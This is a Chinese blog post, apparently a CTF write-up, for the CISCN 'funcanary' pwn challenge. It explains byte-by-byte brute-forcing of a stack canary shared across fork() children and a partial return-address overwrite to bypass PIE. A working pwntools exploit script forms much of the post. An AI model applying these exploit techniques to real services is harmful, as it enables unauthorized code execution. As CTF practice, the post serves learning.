编辑
2023-05-30
pwn
00
请注意,本文编写于 603 天前,最后修改于 479 天前,其中某些信息可能已经过时。

目录

ciscnpwnfuncanary

ciscn_pwn_funcanary

做了一整天的牢,爆破canary时一直报错说byte型不能和str型相连接,好不容易爆破出canary了,结果才发现还有一个pie enable。难绷。

不过总算是把他复现出来了:

直接看保护:这保护不得不说很豪华,我认识的保护直接拉满全开。(看到这第一反应:下班,这比赛打不了一点)

image-20230530091813876

直接ida看静态:

c
void __fastcall __noreturn MEMORY[0x12D2](__int64 a1, char **a2, char **a3) { __pid_t v3; // [rsp+Ch] [rbp-4h] sub_1243(a1, a2, a3); while ( 1 ) { v3 = fork(); if ( v3 < 0 ) break; if ( v3 ) { wait(0LL); } else { puts("welcome"); sub_128A(); puts("have fun"); } } puts("fork error"); exit(0); }

很明显这是子线程覆盖canary,首先fork一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止,这就跟便于我们对canary的爆破:

漏洞函数:

c
unsigned __int64 sub_128A() { char buf[104]; // [rsp+0h] [rbp-70h] BYREF unsigned __int64 v2; // [rsp+68h] [rbp-8h] v2 = __readfsqword(0x28u); read(0, buf, 0x80uLL); return v2 - __readfsqword(0x28u); }

在sub_128A中有一个read函数作为溢出点:

通过循环来逐字节爆破:stack reading

python
coding='utf-8' from pwn import * from binascii import* context.log_level = 'debug' # context.terminal = ['tmux','-x','bash','-c'] context(arch='amd64', os='linux') p = process('./funcanary') p.recvuntil('welcome\n') canary = b'\x00' for i in range(7): for j in range(256): payload =b'a'*(0x68)+canary + p8(j)#这里一开始是下面这种写法 p.send(payload) a = p.recvuntil(b'welcome\n') if b'have fun' in a: #如果没有显示stack-smashing则表示canary没有错误,所以会正常输出have fun,就可以判断是否成功。 canary += p8(j) break ##-------------报错写法——————------ canary = "\x00" for i in range(7): for j in range(256): payload ="\x00"*(0x68)+canary + chr(i) p.send(payload) a = p.recvuntil(b'welcome\n') if b'have fun' in a: canary += chr(i) break#很难崩

成功爆破:

image-20230530201536295

然后就是绕过pie了:

python
for i in range(16): payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适,这里p8的范围是2-242也就是0x0000-0xf200,如果地址是0xf700啥的会不会有问题?或许类似下面这种跟合适? #list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"] p.send(payload) a = p.recv() if b'flag' in a: print(a) break p.interactive()

这里就不得不提到绕过pie的一个技术over write 的bypass:

因为pie保护是对内存页操作的所以只会影响除前三字节以外的地址,这时候我们就可以通过覆盖返回地址的后三字节来控制程序流,这里因为往往返回地址和getshell的地址的偏移也只在一内存页单位内,所以其他字节也基本不变,

所以这里也可以直接覆盖四字节,不用再爆破

image-20230530202101770

当然很多时候其实没有这么顺利,第四字节往往不一样,这时候就又需要爆破了

这里因为环境已经关闭所以没法拿到远程主机/bin/目录下的flag:

image-20230530203051811

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!